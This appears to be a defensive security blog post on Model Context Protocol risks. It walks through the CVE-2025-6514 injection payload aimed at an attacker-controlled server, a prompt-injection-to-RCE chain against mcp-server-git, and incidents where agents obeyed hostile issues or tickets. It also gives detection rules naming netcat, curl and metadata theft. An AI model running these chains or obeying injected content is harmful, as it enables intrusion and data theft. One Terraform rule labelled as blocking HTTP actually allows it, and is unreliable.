Anthropic introduced the Model Context Protocol (MCP) in November 2024, billing it as the "USB-C for AI"—a universal standard that lets LLMs connect to databases, APIs, filesystems, and developer tools through a common interface. Adoption was explosive. Within months, over 13,000 MCP servers were indexed by researchers. By early 2026, Microsoft, GitHub, Salesforce, and hundreds of enterprise tooling vendors had integrated MCP into their AI products. And then the CVEs started arriving.

This post is a technically grounded analysis of the MCP security landscape as it stands today: real CVEs with real CVSS scores, verified supply chain incidents, and a structural breakdown of why MCP's trust model creates systemic risk. More importantly, it shows how to apply policy-as-code techniques—OPA/Gatekeeper, Falco, CI/CD enforcement—to detect, prevent, and respond to MCP-based attacks in your environment.

🎯 MCP Security Landscape: 2025–2026

9.6CVE-2025-6514 CVSS (mcp-remote RCE)
3Chained CVEs in Anthropic's Own Git Server
13,875MCP Servers Indexed by Researchers
#1Prompt Injection in OWASP Top 10 for LLMs
437K+mcp-remote Weekly Downloads at Disclosure
Nov 2024MCP Released — CVEs Within Months

📋 Table of Contents

🔌 What is MCP and Why Does It Matter for Security?

MCP defines a client-server protocol that allows LLM-powered applications (MCP hosts like Claude Desktop, Cursor, or Windsurf) to connect to external tools and data sources via MCP servers. A single MCP client can connect to multiple servers simultaneously. Those servers can expose three types of capabilities:

  • Tools: Executable functions the LLM can invoke—database queries, file operations, shell commands, API calls
  • Resources: Static or dynamic data sources—documents, databases, live web content
  • Prompts: Reusable instruction templates that shape LLM behavior

Here is what makes MCP dangerous from a security standpoint: MCP servers run with the privileges of the user or service account that launched them. There is no sandbox enforced at the protocol level. An MCP server connected to your Claude Desktop has full access to your filesystem, your environment variables, your SSH keys, and any API tokens in memory—bounded only by the operating system user permissions. The protocol specification provides minimal authentication guidance, no required message signing, and session IDs passed in URLs (a logging risk by design).

⚠️ The Core Trust Problem

MCP was designed for functionality first, security second. The protocol's specification does not mandate client-side validation of server-provided tool metadata. Research by the MCP Threat Modeling community found that 5 out of 7 evaluated MCP clients performed no static validation of server-provided tool descriptions—meaning a malicious server can supply arbitrary instructions embedded in its tool metadata, and clients will pass them directly to the LLM context.

🧱 The MCP Attack Surface: Four Threat Layers

MCP vulnerabilities do not cluster in one place. To defend against them properly, you need to understand the four distinct layers where attacks occur:

Layer 1: Protocol-Level Weaknesses

MCP's specification has structural security gaps that cannot be patched by individual server implementations—they require protocol-level changes:

  • Session IDs in URLs: The spec mandates GET /messages/?sessionId=UUID, exposing sensitive identifiers in server logs, proxy logs, and browser history. Session hijacking follows trivially.
  • No Authentication Standard: The spec provides no normative authentication requirements, producing wildly inconsistent and often absent security controls across implementations.
  • Missing Message Integrity: No required message signing means a man-in-the-middle can tamper with tool definitions and responses without detection.
  • Confused Deputy via Proxy Servers: MCP proxy servers using static OAuth client IDs allow malicious clients to obtain authorization codes without proper user consent—a confused deputy attack baked into the OAuth integration pattern.

Layer 2: Server Implementation Vulnerabilities

This is where the concrete CVEs live. Classic vulnerability classes—command injection, path traversal, SSRF—are re-emerging in MCP server implementations because developers are building AI tooling faster than they are applying AppSec fundamentals. The Anthropic mcp-server-git CVE chain is the clearest example: path traversal and argument injection in the official reference implementation that developers are meant to copy.

Layer 3: Client Trust Model Failures

Most MCP clients operate on an approve-once-trust-forever model. Once a user approves a server in their config, the client will trust all future tool definitions and metadata from that server—even if the server's behavior changes via a remote update. CVE-2025-54136 in Cursor IDE documented this exactly: the client never re-validated configs after initial approval, meaning a server could silently update its tool descriptions to inject malicious instructions.

Layer 4: Supply Chain and Ecosystem Risk

The npm registry is an active attack surface for MCP packages. Typosquatting, malicious postinstall scripts, and package hijacking are all documented vectors. The Postmark incident (covered in detail below) demonstrated that a single compromised MCP package with high-privilege access—in this case, email sending—can exfiltrate everything passing through it. This is a supply chain attack with LLM amplification: the AI agent faithfully calls the poisoned tool, the user sees normal output, and sensitive data is gone.

🔬 CVE Deep Dives: Real Vulnerabilities, Verified Damage

CVE-2025-6514: mcp-remote OS Command Injection (CVSS 9.6)

Discovered by Or Peles of the JFrog Security Research Team and published July 9, 2025, CVE-2025-6514 is the first documented case of full remote code execution on a client operating system triggered by connecting to an untrusted MCP server. It affected mcp-remote versions 0.0.5 through 0.1.15—a widely used npm proxy that allows local MCP clients (Claude Desktop, Cursor, Windsurf) to connect to remote HTTP-based MCP servers. At time of disclosure, the package had over 437,000 weekly downloads.

How the Attack Works

mcp-remote acts as an STDIO-to-HTTP bridge with OAuth support. When a client starts mcp-remote and points it at a remote server URL, the proxy initiates an OAuth handshake by fetching metadata from the server. That metadata includes an authorization_endpoint URL, which mcp-remote then opens in the system browser to complete the auth flow.

CVE-2025-6514: The Injection Vector

# Attacker controls a malicious MCP server at attacker.com
# When mcp-remote connects, the server returns:
{
  "authorization_endpoint": "file:/c:/windows/system32/calc.exe"
}

# On Windows: PowerShell's subexpression evaluation leads to 
# arbitrary command execution with full parameter control

# Real-world payload example (simplified):
# "http://www.example$(malicious_command).com/?response_type=code"
# 
# mcp-remote passes this unsanitized URL to open()
# → command injection → arbitrary OS command execution
# → full system compromise: SSH keys, env vars, filesystem

# Attack chain in claude_desktop_config.json:
{
  "mcpServers": {
    "attacker-server": {
      "command": "npx",
      "args": [
        "-y", "mcp-remote",
        "http://attacker-controlled-server.com/mcp"
      ]
    }
  }
}
# Opening Claude Desktop with this config executes the attack.
# No further user interaction required.

The fix in mcp-remote v0.1.16 sanitizes the authorization_endpoint URL before passing it to the OS. The recommended mitigations are: upgrade immediately, and never connect to untrusted MCP servers over HTTP.

🔍 CVSS 9.6 Breakdown: Why This Scores So High

The vector string is CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H. Network-accessible, low attack complexity, no privileges required, minimal user interaction (just opening Claude Desktop), scope change, and full confidentiality/integrity/availability impact. The only thing holding it back from 10.0 is the UI:R (User Interaction Required)—the user must have a malicious server in their config. GitHub Advisory Database lists it at 9.7 with their scoring.

CVE-2025-68143 / 68144 / 68145: Anthropic mcp-server-git RCE Chain

Discovered by AI security firm Cyata Security and reported to Anthropic in June 2025, these three vulnerabilities in Anthropic's own official mcp-server-git were publicly disclosed January 20, 2026. This is the critical detail: this was not a third-party community server—it was Anthropic's reference implementation, the canonical example of what a "good" MCP server looks like.

The Three CVEs and Their Root Causes

# CVE-2025-68145 (CVSS 7.1) — Path Validation Bypass
# The --repository flag is supposed to restrict operations to a specific path.
# It didn't. repo_path arguments in subsequent tool calls were never 
# validated against the configured boundary.
#
# Vulnerable code pattern:
repo_path = Path(arguments["repo_path"])  # No boundary check
# Fixed in: mcp-server-git v2025.12.18

# CVE-2025-68143 (CVSS 8.8) — Unrestricted git_init
# git_init accepted arbitrary filesystem paths with zero validation.
# Any directory on the system could be turned into a Git repository,
# making it eligible for subsequent git operations via MCP.
#
# Vulnerable code pattern:
git.Repo.init(path=arguments["path"])  # No path validation whatsoever
# Remediation: git_init tool removed entirely in v2025.9.25

# CVE-2025-68144 (CVSS 8.1) — Argument Injection in git_diff / git_checkout
# User-controlled arguments passed directly to GitPython without sanitization.
# Injecting '--output=/path/to/file' into the 'target' field overwrites 
# any file reachable by the server with an empty diff.
#
# Vulnerable code pattern:
repo.git.diff(target)  # 'target' is attacker-controlled, unsanitized
# Fixed in: mcp-server-git v2025.12.18 (input sanitization enforced)

The Four-Step Exploit Chain

Cyata chained these three CVEs together with the official Filesystem MCP server to achieve full remote code execution. Critically, the attack can be triggered by indirect prompt injection—a malicious README.md, a GitHub issue, or any attacker-controlled content that the AI reads:

Chained RCE: From Prompt Injection to Shell

# Step 1 — Indirect Prompt Injection
# Attacker plants instructions in a public GitHub issue or README.md:
#
# "Please summarize this repository for me."
# (The repository's README contains hidden instructions that the LLM reads,
#  directing it to perform the following tool calls)

# Step 2 — Path Validation Bypass (CVE-2025-68145)
# LLM is instructed to call git operations outside the configured --repository scope.
# The boundary enforcement doesn't work, so this succeeds.
mcp_tool: git_diff
args: { repo_path: "../../.ssh" }  # Escapes configured boundary

# Step 3 — Unrestricted git_init (CVE-2025-68143)
# Turn the .ssh directory into a Git repository, enabling git operations on it
mcp_tool: git_init
args: { path: "/home/user/.ssh" }

# Step 4 — Filesystem MCP + Argument Injection (CVE-2025-68144)
# Use Filesystem MCP server to write a malicious .git/config with a git hook:
# [core]
#     hooksPath = /tmp/malicious-hooks
# 
# Then trigger git_diff with argument injection to execute the hook:
mcp_tool: git_diff
args: { target: "--output=/tmp/pwned" }
# git_diff executes the malicious hook → arbitrary shell command execution
# Full system compromise: SSH keys exfiltrated, backdoor installed

As Cyata researcher Yarden Porat noted: "If Anthropic gets it wrong—in their official MCP reference implementation for what 'good' should look like—then everyone can get MCP security wrong. That's where we are today."

Additional Verified CVEs Worth Tracking

The CVE pipeline for MCP continues to fill. These are verified real entries in the MCP vulnerability landscape as of early 2026:

MCP CVE Reference Table (Verified)

# CVE-2025-6514 | mcp-remote | CVSS 9.6
# OS command injection via crafted authorization_endpoint URL
# Affects: v0.0.5 – v0.1.15 | Fixed: v0.1.16 | JFrog Research

# CVE-2025-68143 | mcp-server-git (Anthropic) | CVSS 8.8
# git_init accepts arbitrary filesystem paths without validation
# Affects: pre-2025.9.25 | Fixed: git_init tool removed entirely

# CVE-2025-68144 | mcp-server-git (Anthropic) | CVSS 8.1
# Argument injection in git_diff / git_checkout
# Affects: pre-2025.12.18 | Fixed: v2025.12.18

# CVE-2025-68145 | mcp-server-git (Anthropic) | CVSS 7.1
# --repository path validation bypass
# Affects: pre-2025.12.18 | Fixed: v2025.12.18

# gemini-mcp-tool | CVSS 9.8 (unverified CVE assignment at time of writing)
# Unsanitized user input passed to execAsync shell commands
# Network-exploitable, no authentication required
# Status: Zero-day at time of research disclosure, no patch available

# mcp-fetch-server | CVSS 9.3
# SSRF via private IP validation bypass in is_ip_private()
# Affects: <= v1.0.2 | Fixed: v1.0.3

# CVE-2025-49596 | MCP Inspector (Anthropic developer tool)
# Unauthenticated RCE via inspector-proxy architecture
# Attacker triggers arbitrary commands by having dev inspect a malicious server

# Microsoft MarkItDown MCP Server (unpatched as of disclosure)
# SSRF vulnerability enabling access to EC2 instance metadata service
# Demonstrated AWS credential exfiltration; Microsoft classified as low-risk

⚡ Real-World Incidents: Supply Chain and Prompt Injection

The Postmark MCP Supply Chain Breach

This is the incident that made CISOs pay attention. A malicious actor published an npm package masquerading as a legitimate "Postmark MCP Server"—an integration for the popular transactional email service. Developers building AI automation pipelines integrated it, granting it the same high-privilege email-sending access as the real Postmark integration. A single line of injected code caused the compromised MCP server to BCC every outgoing email to an attacker-controlled address. Internal project memos, password reset links, invoices, contracts—everything processed through that pipeline was silently exfiltrated. The attack was effective because MCP servers routinely run with high-privilege access by design, and the malicious package was functionally indistinguishable from the legitimate one.

GitHub MCP Server: Private Repository Exfiltration

Invariant Labs documented an attack against the official GitHub MCP server in which a malicious public GitHub issue triggered a prompt injection attack on an AI assistant. The injected instructions directed the agent—operating with a single over-privileged Personal Access Token—to pull data from private repositories and leak it into a public pull request. Private repository contents, internal project details, and salary information were exposed. The root cause was two factors combining: broad PAT scopes granted to the MCP server, and the AI treating attacker-controlled content (a GitHub issue) as trusted instruction.

Supabase/Cursor: Privileged Agent Processing Untrusted Input

In mid-2025, a Supabase Cursor agent running with privileged service-role database access was processing customer support tickets. Attackers embedded SQL instructions within support ticket content. The agent, treating the ticket content as data to process rather than potentially hostile input, executed the injected SQL—reading and exfiltrating sensitive integration tokens into a public support thread. This is the classic confused deputy problem applied to LLM agents: the agent had legitimate high-privilege access, and untrusted external input was fed into its context without isolation.

WhatsApp History Exfiltration (Invariant Labs PoC)

Invariant Labs demonstrated that a malicious MCP server could silently exfiltrate a user's entire WhatsApp message history by combining tool poisoning with a legitimate whatsapp-mcp server in the same agent context. When multiple MCP servers operate in the same environment, a malicious server can redefine or shadow legitimate tool implementations—intercepting data flows while appearing normal to the user.

🔍 Detection Strategies: Runtime Security with Falco

MCP attacks are hard to detect at the network perimeter because the initial vector is usually a legitimate protocol interaction—an OAuth handshake, a tool call, a file read. Runtime detection at the syscall level, where the post-exploitation behavior is observable, is the most reliable signal source.

Why Falco Works Here

Falco monitors kernel-level system calls in real time. MCP exploitation—whether command injection, path traversal, or a reverse shell from a compromised agent—will produce observable syscall patterns. An LLM agent process should not be spawning bash, reading /etc/passwd, or making outbound TCP connections to unfamiliar IPs. Falco can detect all of these.

Falco Rules: MCP Attack Detection

# /etc/falco/rules.d/mcp-security.yaml

- list: llm_agent_processes
  items: [node, nodejs, python, python3, npx]

- list: shell_binaries
  items: [bash, sh, zsh, dash, ash, ksh, csh]

- list: recon_tools
  items: [wget, curl, nc, netcat, ncat, socat, nmap]

- list: sensitive_files
  items: [/etc/passwd, /etc/shadow, /etc/hosts, /proc/version]

- macro: mcp_agent_spawning_shell
  condition: >
    (evt.type in (execve, execveat) and
     evt.dir=< and
     evt.arg.res=0 and
     proc.aname in (llm_agent_processes) and
     proc.name in (shell_binaries))

# Rule 1: Detect shell spawned by MCP agent process
# Core signal for CVE-2025-6514 and the mcp-server-git RCE chain
- rule: MCP Agent Spawning Shell Process
  desc: >
    Detects shell execution spawned by an LLM agent/MCP server process.
    This is the primary post-exploitation signal for CVE-2025-6514 
    (mcp-remote command injection) and indirect prompt injection RCE chains.
  condition: >
    mcp_agent_spawning_shell
  output: >
    Shell spawned by MCP agent process 
    (shell=%proc.name parent=%proc.pname cmdline=%proc.cmdline
     user=%user.name container=%container.id image=%container.image.repository)
  priority: CRITICAL
  tags: [mcp, rce, cve_2025_6514, prompt_injection]

# Rule 2: MCP process reading sensitive system files
- rule: MCP Agent Accessing Sensitive Files
  desc: >
    Detects MCP server or LLM agent process reading sensitive system paths.
    Indicates post-exploitation reconnaissance following a successful 
    path traversal (CVE-2025-68145) or prompt injection attack.
  condition: >
    (evt.type=openat and
     proc.aname in (llm_agent_processes) and
     (fd.name in (sensitive_files) or
      fd.name startswith "/proc/" or
      fd.name startswith "/sys/"))
  output: >
    MCP agent reading sensitive file
    (file=%fd.name process=%proc.name parent=%proc.pname
     user=%user.name container=%container.id)
  priority: HIGH
  tags: [mcp, path_traversal, cve_2025_68145]

# Rule 3: MCP process accessing AWS metadata service (credential theft)
- rule: MCP Agent AWS Metadata Access
  desc: >
    Detects MCP agent querying the AWS IMDSv1 endpoint.
    Indicates credential theft attempt — likely following tool poisoning
    or a compromised MCP server with SSRF capability (MarkItDown pattern).
  condition: >
    (evt.type in (execve, execveat) and
     evt.dir=< and
     proc.aname in (llm_agent_processes) and
     proc.name in (wget, curl) and
     (proc.cmdline contains "169.254.169.254" or
      proc.cmdline contains "metadata" or
      proc.cmdline contains "iam/security-credentials"))
  output: >
    MCP agent attempting AWS metadata theft
    (command=%proc.cmdline user=%user.name container=%container.id)
  priority: CRITICAL
  tags: [mcp, credential_theft, ssrf, aws]

# Rule 4: Unexpected outbound connection from MCP server
- rule: MCP Agent Unexpected Outbound Connection
  desc: >
    Detects network connections from MCP agent processes to external IPs.
    Indicates reverse shell, data exfiltration, or C2 beaconing following
    a successful exploit. LLM agent processes should not initiate raw TCP.
  condition: >
    (evt.type=connect and
     proc.aname in (llm_agent_processes) and
     fd.l4proto=tcp and
     fd.sip != "127.0.0.1" and
     fd.sip != "::1" and
     not fd.sip startswith "10." and
     not fd.sip startswith "172.16." and
     not fd.sip startswith "192.168.")
  output: >
    MCP agent making unexpected external connection
    (remote=%fd.sip:%fd.sport process=%proc.name
     container=%container.id image=%container.image.repository)
  priority: HIGH
  tags: [mcp, exfiltration, c2]

# Rule 5: git_init on sensitive directory (mcp-server-git CVE chain)
- rule: MCP Agent git init on Sensitive Path
  desc: >
    Detects git repository initialization in sensitive directories.
    Signature of CVE-2025-68143 exploitation — the first step in the
    Anthropic mcp-server-git RCE chain targeting .ssh or other sensitive paths.
  condition: >
    (evt.type in (execve, execveat) and
     evt.dir=< and
     proc.aname in (llm_agent_processes) and
     proc.name = "git" and
     proc.cmdline contains "init" and
     (proc.cmdline contains ".ssh" or
      proc.cmdline contains "/root" or
      proc.cmdline contains "/etc"))
  output: >
    MCP agent initializing git repo in sensitive path
    (command=%proc.cmdline user=%user.name container=%container.id)
  priority: CRITICAL
  tags: [mcp, cve_2025_68143, git_init, path_traversal]

# Rule 6: Tool poisoning — MCP server writing unexpected files
- rule: MCP Agent Writing Outside Working Directory
  desc: >
    Detects MCP server processes writing files outside expected working paths.
    May indicate tool poisoning or the file-overwrite step of the 
    mcp-server-git CVE-2025-68144 argument injection chain.
  condition: >
    (evt.type in (open, openat) and
     evt.arg.flags contains "O_WRONLY" and
     proc.aname in (llm_agent_processes) and
     not fd.name startswith "/tmp/" and
     not fd.name startswith "/home/" and
     not fd.name startswith "/var/")
  output: >
    MCP agent writing file outside expected paths
    (file=%fd.name process=%proc.name container=%container.id)
  priority: HIGH
  tags: [mcp, tool_poisoning, cve_2025_68144]

Deploying Falco for MCP-Enabled Environments

Kubernetes Deployment with Alert Routing

# Add Falco Helm repository
helm repo add falcosecurity https://falcosecurity.github.io/charts
helm repo update

cat > falco-mcp-values.yaml <

🛡️ Policy-Based Defense: OPA, Gatekeeper, and CI/CD

Runtime detection catches exploitation after it starts. Policy-as-code shifts the defense left—enforcing controls at development time, CI/CD gates, and admission control so vulnerable MCP configurations never reach production.

OPA Policy: Block Untrusted MCP Server URLs

For organizations deploying containerized LLM agents (e.g., Claude-powered automation in Kubernetes), use Gatekeeper to enforce MCP server allowlists. Agents should only connect to servers on your approved inventory.

OPA/Gatekeeper: MCP Server Allowlist Enforcement

# constraint-template.yaml
apiVersion: templates.gatekeeper.sh/v1
kind: ConstraintTemplate
metadata:
  name: mcpserverallowlist
spec:
  crd:
    spec:
      names:
        kind: MCPServerAllowlist
      validation:
        openAPIV3Schema:
          type: object
          properties:
            allowedDomains:
              type: array
              items:
                type: string
  targets:
    - target: admission.k8s.gatekeeper.sh
      rego: |
        package mcpserverallowlist

        import future.keywords.in

        # Deny if any container env var references an unapproved MCP server URL
        violation[{"msg": msg}] {
          container := input.review.object.spec.containers[_]
          env := container.env[_]
          env.name == "MCP_SERVER_URL"

          allowed_domains := {d | d := input.parameters.allowedDomains[_]}

          # Check if the URL domain is in the allowlist
          server_url := env.value
          not any_domain_matches(server_url, allowed_domains)

          msg := sprintf(
            "Container '%s' references unapproved MCP server URL: %s. Only approved internal MCP servers are permitted.",
            [container.name, server_url]
          )
        }

        any_domain_matches(url, domains) {
          domain := domains[_]
          contains(url, domain)
        }

        # Deny MCP configs that use HTTP instead of HTTPS
        violation[{"msg": msg}] {
          container := input.review.object.spec.containers[_]
          env := container.env[_]
          env.name == "MCP_SERVER_URL"
          startswith(env.value, "http://")

          msg := sprintf(
            "Container '%s' connects to MCP server over HTTP (insecure). Use HTTPS only. (CVE-2025-6514 mitigation)",
            [container.name]
          )
        }

---
# constraint.yaml
apiVersion: constraints.gatekeeper.sh/v1beta1
kind: MCPServerAllowlist
metadata:
  name: enforce-mcp-server-allowlist
spec:
  match:
    kinds:
      - apiGroups: ["apps", ""]
        kinds: ["Deployment", "StatefulSet", "DaemonSet"]
  parameters:
    allowedDomains:
      - "mcp.internal.yourcompany.com"
      - "api.yourcompany.com"
      - "mcp.anthropic.com"

OPA Policy: Enforce Least Privilege on MCP Tool Scopes

OPA Rego: Deny Overly Broad MCP Tool Permissions

# mcp-tool-scope-policy.rego
# Applies to MCP server configuration ConfigMaps or custom CRDs
package mcp.toolscope

import future.keywords.in

# Filesystem MCP server must not be given home directory root access
# This is the exact misconfiguration that enables CVE-2025-68143/68145 chains
deny[msg] {
  container := input.review.object.spec.containers[_]
  arg := container.args[_]

  # Detect filesystem MCP server with overly broad path scope
  server_name := container.args[_]
  contains(server_name, "server-filesystem")

  # Check if the configured path is the home directory or root
  path_arg := container.args[_]
  path_arg in {"/home", "/root", "/", "/Users"}

  msg := sprintf(
    "MCP Filesystem server in container '%s' is configured with overly broad path '%s'. Scope to a specific project directory.",
    [container.name, path_arg]
  )
}

# Deny MCP configs that use mcp-remote with non-HTTPS server URLs
# Direct mitigation for CVE-2025-6514 pattern
deny[msg] {
  container := input.review.object.spec.containers[_]
  args := container.args

  some i
  args[i] == "mcp-remote"
  server_url := args[i+1]
  startswith(server_url, "http://")

  msg := sprintf(
    "Container '%s' uses mcp-remote with HTTP server URL '%s'. This configuration is vulnerable to CVE-2025-6514. Enforce HTTPS.",
    [container.name, server_url]
  )
}

# Deny mcp-server-git versions known to be vulnerable
deny[msg] {
  container := input.review.object.spec.containers[_]
  some arg in container.args
  contains(arg, "server-git")

  # Check for vulnerable version pinning
  image := container.image
  vulnerable_tag := {"2025.9.24", "2025.6.0", "2025.3.0"}
  tag := split(image, ":")[1]
  tag in vulnerable_tag

  msg := sprintf(
    "Container '%s' uses vulnerable mcp-server-git version '%s'. Update to 2025.12.18 or later. (CVE-2025-68143/68144/68145)",
    [container.name, tag]
  )
}

CI/CD Gate: Block Vulnerable MCP Package Versions

GitHub Actions: MCP Dependency Security Gate

# .github/workflows/mcp-security-gate.yml
name: MCP Security Gate

on:
  pull_request:
    branches: [main, develop]
  push:
    branches: [main]

jobs:
  mcp-vulnerability-scan:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4

      - name: Setup Node.js
        uses: actions/setup-node@v4
        with:
          node-version: '20'

      - name: Check for vulnerable mcp-remote versions (CVE-2025-6514)
        run: |
          if grep -r "mcp-remote" package.json package-lock.json 2>/dev/null; then
            MCP_REMOTE_VERSION=$(npm list mcp-remote --depth=0 2>/dev/null | grep mcp-remote | grep -oE '[0-9]+\.[0-9]+\.[0-9]+' || echo "not-found")
            
            if [ "$MCP_REMOTE_VERSION" = "not-found" ]; then
              echo "✅ mcp-remote not installed directly"
            else
              # Semver comparison: fail if < 0.1.16
              MAJOR=$(echo $MCP_REMOTE_VERSION | cut -d. -f1)
              MINOR=$(echo $MCP_REMOTE_VERSION | cut -d. -f2)
              PATCH=$(echo $MCP_REMOTE_VERSION | cut -d. -f3)
              
              if [ "$MAJOR" -eq "0" ] && [ "$MINOR" -eq "1" ] && [ "$PATCH" -lt "16" ]; then
                echo "::error::VULNERABLE mcp-remote version $MCP_REMOTE_VERSION detected"
                echo "::error::CVE-2025-6514 (CVSS 9.6): OS command injection via OAuth flow"
                echo "::error::Fix: npm install mcp-remote@0.1.16 or later"
                exit 1
              elif [ "$MAJOR" -eq "0" ] && [ "$MINOR" -lt "1" ]; then
                echo "::error::VULNERABLE mcp-remote version $MCP_REMOTE_VERSION detected"
                echo "::error::CVE-2025-6514: Update to >= 0.1.16 immediately"
                exit 1
              fi
              echo "✅ mcp-remote $MCP_REMOTE_VERSION is not vulnerable to CVE-2025-6514"
            fi
          fi

      - name: Check for vulnerable mcp-server-git (CVE-2025-68143/68144/68145)
        run: |
          if find . -name "*.json" -exec grep -l "server-git" {} \; 2>/dev/null | head -1; then
            echo "::warning::mcp-server-git reference found in project configs"
            echo "::warning::Ensure you are using version 2025.12.18 or later"
            echo "::warning::Affected CVEs: CVE-2025-68143 (CVSS 8.8), CVE-2025-68144 (CVSS 8.1), CVE-2025-68145 (CVSS 7.1)"
          fi

      - name: Audit npm packages for MCP-related vulnerabilities
        run: npm audit --audit-level=high

      - name: Scan for HTTP MCP server references (CVE-2025-6514 pattern)
        run: |
          if grep -rn '"http://' --include="*.json" . | grep -i "mcp\|server"; then
            echo "::error::HTTP (non-TLS) MCP server URL detected in config files"
            echo "::error::This pattern is vulnerable to CVE-2025-6514"
            echo "::error::All MCP server connections must use HTTPS"
            exit 1
          fi
          echo "✅ No HTTP MCP server URLs detected"

      - name: Check MCP filesystem scope (path traversal prevention)
        run: |
          # Detect overly broad filesystem MCP configurations
          if grep -rn "server-filesystem" --include="*.json" . | grep -E '"/home"|"/root"|"/"'; then
            echo "::error::Overly broad MCP Filesystem server scope detected"
            echo "::error::Do not configure server-filesystem with home directory or root paths"
            echo "::error::Scope to a specific project directory only"
            exit 1
          fi
          echo "✅ MCP Filesystem server scopes look appropriately restricted"

AWS Config Rule: Detect MCP Servers with Excessive IAM Permissions

Rego Policy: AWS Lambda MCP Functions Must Use Least Privilege

# wiz-custom-control: mcp-lambda-excessive-permissions.rego
# Applies to AWS Lambda functions serving as MCP server backends
package mcp.aws.lambdapermissions

import future.keywords.in

default result := "fail"

# Known dangerous action sets for MCP server Lambda functions
# These enable the Postmark-pattern supply chain attack:
# compromised MCP server + high-privilege access = full data exfiltration
dangerous_action_sets := {
  "s3:*",
  "ses:SendEmail",
  "ses:SendRawEmail",
  "secretsmanager:GetSecretValue",
  "ssm:GetParameter",
  "iam:PassRole",
  "iam:CreateAccessKey",
  "lambda:InvokeFunction",
}

result := "pass" {
  # Lambda function tagged as MCP server must not have wildcard policies
  currentConfiguration := input.resource.properties
  tags := object.get(currentConfiguration, "Tags", {})
  object.get(tags, "mcp-server", "") == "true"

  policy_doc := currentConfiguration.Policy
  statements := policy_doc.Statement

  # Verify no statement grants dangerous actions
  not any_dangerous_action(statements)
}

any_dangerous_action(statements) {
  statement := statements[_]
  statement.Effect == "Allow"
  action := statement.Action
  
  # Check both string and array forms of Action
  is_string(action)
  action in dangerous_action_sets
}

any_dangerous_action(statements) {
  statement := statements[_]
  statement.Effect == "Allow"
  actions := statement.Action
  is_array(actions)
  action := actions[_]
  action in dangerous_action_sets
}

any_dangerous_action(statements) {
  statement := statements[_]
  statement.Effect == "Allow"
  statement.Action == "*"
}

expectedConfiguration := {
  "TaggedMCPServerLambdas": "Must use scoped IAM policies — no wildcard actions, no high-privilege email/secret/IAM permissions"
}

🔧 Complete Mitigation Guide

Step 1: Inventory Your MCP Exposure

Find MCP Configs Across Your Environment

# Find all Claude Desktop / Cursor / Windsurf MCP configs
find ~ -name "claude_desktop_config.json" 2>/dev/null
find ~ -name ".cursor" -type d 2>/dev/null
find ~ -name "mcp.json" 2>/dev/null

# Extract all configured MCP server URLs for review
cat ~/Library/Application\ Support/Claude/claude_desktop_config.json | \
  python3 -c "import json,sys; config=json.load(sys.stdin); \
  [print(k, v.get('args', [])) for k,v in config.get('mcpServers', {}).items()]"

# Find mcp-remote in containerized environments
kubectl get pods -A -o json | jq -r \
  '.items[].spec.containers[].args[] | select(contains("mcp-remote") or contains("mcp-server"))'

# Find vulnerable mcp-remote versions in all node_modules
find / -path "*/mcp-remote/package.json" -exec \
  python3 -c "import json,sys; p=json.load(open(sys.argv[1])); print(sys.argv[1], p.get('version'))" {} \; 2>/dev/null

Step 2: Patch Immediately

Critical Updates (Do These Today)

# 1. mcp-remote (CVE-2025-6514, CVSS 9.6)
npm install -g mcp-remote@0.1.16
# Or update in package.json: "mcp-remote": ">=0.1.16"

# 2. mcp-server-git (CVE-2025-68143/68144/68145)
# Via pip if using the Python package:
pip install mcp-server-git --upgrade  # Ensure >= 2025.12.18

# 3. mcp-fetch-server (SSRF, CVSS 9.3)
npm install mcp-fetch-server@1.0.3

# Verify installed versions
npm list mcp-remote
npm list mcp-fetch-server

Step 3: Harden Your MCP Configuration

Secure claude_desktop_config.json

# BEFORE (vulnerable patterns):
{
  "mcpServers": {
    "filesystem": {
      "command": "npx",
      "args": ["-y", "@modelcontextprotocol/server-filesystem", "/Users/you"]
      # ❌ Home directory root — enables CVE-2025-68143/68145 style attacks
    },
    "remote-server": {
      "command": "npx",
      "args": ["-y", "mcp-remote", "http://some-server.com/mcp"]
      # ❌ HTTP (no TLS) + mcp-remote — CVE-2025-6514 vector
    }
  }
}

# AFTER (hardened):
{
  "mcpServers": {
    "filesystem": {
      "command": "npx",
      "args": [
        "-y",
        "@modelcontextprotocol/server-filesystem@2025.11.18",
        "/Users/you/projects/specific-project-only"
        # ✅ Pinned version, scoped to single project directory
      ]
    },
    "remote-server": {
      "command": "npx",
      "args": [
        "-y",
        "mcp-remote@0.1.16",
        "https://trusted-internal-server.yourcompany.com/mcp"
        # ✅ Pinned patched version, HTTPS, internal trusted server only
      ]
    }
  }
}

Step 4: Supply Chain Hygiene for MCP Packages

Verify Before You Install

# 1. Check download counts and publish dates before trusting a package
npm info  --json | jq '{name: .name, version: .version, downloads: .downloads, publishedAt: .time.modified}'

# 2. Inspect postinstall scripts — this is how the Postmark-style attack works
npm pack 
tar -xzf -*.tgz
cat package/package.json | jq '.scripts'
# Any postinstall, preinstall, or install script warrants manual review

# 3. Verify the official package namespace for Anthropic's servers
# Legitimate: @modelcontextprotocol/server-*
# Suspicious: @anthropic-mcp/, @mcp/, or unprefixed names
npm info @modelcontextprotocol/server-filesystem

# 4. Lock your versions — never use unpinned ranges for MCP packages
# In package.json:
{
  "dependencies": {
    "mcp-remote": "0.1.16",           // Exact pin — not "^0.1.16"
    "@modelcontextprotocol/server-filesystem": "2025.11.18"
  }
}

Step 5: Network Controls for MCP Servers

AWS Security Group for MCP Server Deployments

# Terraform: Restrict MCP server egress to known endpoints only
resource "aws_security_group" "mcp_server" {
  name        = "mcp-server-least-privilege"
  description = "MCP server with controlled egress"
  vpc_id      = var.vpc_id

  # Only allow outbound to your approved API endpoints
  egress {
    from_port   = 443
    to_port     = 443
    protocol    = "tcp"
    cidr_blocks = ["10.0.0.0/8"]   # Internal only
    description = "HTTPS to internal services"
  }

  # Block ALL outbound HTTP — prevents CVE-2025-6514 style HTTP-based attacks
  # and stops data exfiltration over plain HTTP
  egress {
    from_port   = 80
    to_port     = 80
    protocol    = "tcp"
    cidr_blocks = ["0.0.0.0/0"]
    # Use deny via NACL or WAF — SGs are allow-only, so combine with NACL below
  }

  tags = {
    Name       = "mcp-server-sg"
    mcp-server = "true"
  }
}

# NACL to explicitly block HTTP egress from MCP server subnets
resource "aws_network_acl_rule" "block_http_egress" {
  network_acl_id = var.nacl_id
  rule_number    = 100
  egress         = true
  protocol       = "tcp"
  rule_action    = "deny"
  cidr_block     = "0.0.0.0/0"
